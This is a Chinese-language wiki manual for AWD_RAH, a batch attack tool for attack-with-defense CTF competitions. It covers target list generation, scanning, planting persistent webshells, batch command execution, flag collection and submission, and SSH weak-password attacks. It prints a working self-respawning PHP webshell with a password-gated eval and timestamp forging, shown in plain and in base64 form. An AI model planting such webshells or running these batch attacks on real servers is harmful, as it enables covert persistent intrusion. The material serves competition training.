使用手册 - dr0n1/AWD_RAH GitHub Wiki

https://www.dr0n.top/posts/48fe3a65/

目标生成

使用场景:在目标扫描前如果没有下发靶机地址列表,则需要自己生成一份去扫描

ip段生成

使用场景:裁判给了一个C段(192.168.10.0),所有队伍的靶机都在这个C段中,具体ip需要自己发现

输入192.168.10.*(用*占位)即可在程序当前运行目录下生成一个ip.txt

192.168.10.1:8080
192.168.10.2:8080
192.168.10.3:8080
192.168.10.4:8080
192.168.10.5:8080
...
...
192.168.10.251:8080
192.168.10.252:8080
192.168.10.253:8080
192.168.10.254:8080
192.168.10.255:8080

单ip多端口生成

使用场景:某些小型比赛或训练赛,为了节约资源将所有靶机映射在同一台服务器的不同端口上

然会会在程序运行目录下生成ip.txt

192.168.100.103:10000
192.168.100.103:10001
192.168.100.103:10002
192.168.100.103:10003
...
...
192.168.100.103:10297
192.168.100.103:10298
192.168.100.103:10299
192.168.100.103:10300

bugku专用

使用场景:针对线上的域名生成 例如 192-168-1-X.pvp3553.bugku.cn

按以下规则输入即可,{}中表示生成的范围,以-分割

192-168-1-{1-255}.pvp3553.bugku.cn
192-168-{1-2}-{1-255}.pvp3553.bugku.cn

在当前目录下生成ip.txt

192-168-1-1.pvp3553.bugku.cn
192-168-1-2.pvp3553.bugku.cn
192-168-1-3.pvp3553.bugku.cn
192-168-1-4.pvp3553.bugku.cn
...
...
192-168-1-252.pvp3553.bugku.cn
192-168-1-253.pvp3553.bugku.cn
192-168-1-254.pvp3553.bugku.cn
192-168-1-255.pvp3553.bugku.cn

目标扫描

使用场景:自己生成靶机地址或通过平台下载后,进行特征扫描来识别题目

web靶机扫描

先打开自己的web靶机,输入网页上可以看到的特征即可

pwn靶机扫描

pwn靶机也是同理,先连上自己的看看会输出什么就填什么

注意文件中的地址不能带上http,需要是ip:port格式

写入不死马

使用场景:发现题目的默认后门或者rce点后写入不死马

默认马

在可以rce的参数后加*,多个参数用&连接

可写路径:一般默认为空,当某些靶机的web根目录不可写时需要手动指定,例如指定写入到/var/www/html/xxx/(使用绝对路径) 代码执行:根据shell中的代码(例如eval或者system)来使用不同的payload TP框架:适用于tp等框架的非常规web路径(/public)

Get传参后门:

Post传参后门:

同时会在当前目录下生成一个shell.txt来保存记录

自定义不死马

使用场景:想写入自己自定义的不死马

当勾选这个功能后,可以自定义不死马的内容

例如一个不死马如下,密码是123456,访问的文件名是.666.php

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.666.php';
    $code = '<?php if(md5($_GET["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["aa"]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .666.php');
        usleep(1);
    }
?>

使用前需要base64编码一次(工具页中提供base64加解密功能)

PD9waHAKICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICB1bmxpbmsoX19GSUxFX18pOwogICAgJGZpbGUgPSAnLjY2Ni5waHAnOwogICAgJGNvZGUgPSAnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiKXtAZXZhbCgkX1BPU1RbImFhIl0pO30gPz4nOwogICAgd2hpbGUgKDEpewogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlKTsKICAgICAgICBzeXN0ZW0oJ3RvdWNoIC1tIC1kICIyMDE4LTEyLTAxIDA5OjEwOjEyIiAuNjY2LnBocCcpOwogICAgICAgIHVzbGVlcCgxKTsKICAgIH0KPz4=

随机文件名

使用场景:防止其他队伍监控流量进行蹭车

勾选后写入的shell的文件名,密码,连接参数随机产生

会在当前目录下生成random.txt来保存shell记录

执行命令

使用场景:通过不死马或者其他漏洞点进行命令执行

一般shell执行命令

通过随机马执行命令

获取flag

使用场景:批量获取窗口中的flag

需要先通过执行cat /flagcurl获取到flag

点击获取flag按钮后,程序会自动在返回的结果中搜索包含flag{}的值并保存到flag.txt

如果flag格式并不是flag{},则可以自定义匹配的正则表达式

提交flag

使用场景:批量获取到flag后自动访问提交接口进行提交flag

flag用*占位。多个参数用&分割。注意在设置页中设置线程数,太大容易丢包

Get方式:http://192.168.100.103:4444/api/flag?token=xxxx&flag=xxxx

Post方式:

ssh

使用场景:ssh弱口令

比如裁判下发的ssh地址为x.x.x.x:2222 密码:ctf@awd,就可以知道所有队伍都是这个密码。而且有些比赛不设置防御时间,一开始就能连到其他队伍的ssh(这里就不得不提到某年的宁波市awd)

ssh扫描

扫描结果会保存在ssh.txt

ssh密码更改

多人

使用场景:离线环境下 局域网中队友的信息传递

其中一人先当客户端(需要先在设置中设置好参数)

然后点击启动服务

其余队友当客户端(同样要先在设置中设置好参数)

点击连接服务即可

多人交互效果:

自定义

使用场景:批量发送一些请求,例如批量上传文件

定时任务

使用场景:解放双手,自动运行

在写入不死马,执行命令,提交flag三处可以选择定时执行任务,最短1分钟执行一次

使用方法与正常操作一样,填完参数后点击定时按钮并选择时间即可

如果想取消可以关闭程序或者在全局设置中点击 管理定时任务 按钮

运行结果会保存在log/task_log.txt

注意:此功能应谨慎使用,防止发送网络流量过大!!!注意观察 shell.txt 和 task_log.txt 的内容

工具&设置

使用场景:base64,url的编码与解码,行去重与清屏

支持拖放文件

全局设置中可以切换线程数量和超时时间,并且可以选择是否记录错误日志

更新日志

V1.0.0:初始版本 V1.1.0:多种扫描方式,代码逻辑优化 V1.2.0:添加随机不死马功能,修复诺干bug

V2.1.0:70%代码重构,速度较上一代提升11倍。添加ssh和设置模块 V2.1.1:优化不死马的判断逻辑 V2.2.0:加入多人交互功能 V2.2.1:修复诺干bug V2.2.2:更新ui,加入自定义请求包功能 V2.2.3:增加全局超时设置,区分代码执行与命令执行,适应tp框架路径

V3.0.0:增加一机一码,增加错误日志,优化写入不死马/执行命令逻辑 V3.0.1:部分代码结构优化,增加定时任务功能

可能将要做的: 1:加入pwn的批量攻击 2:不止php(加入java)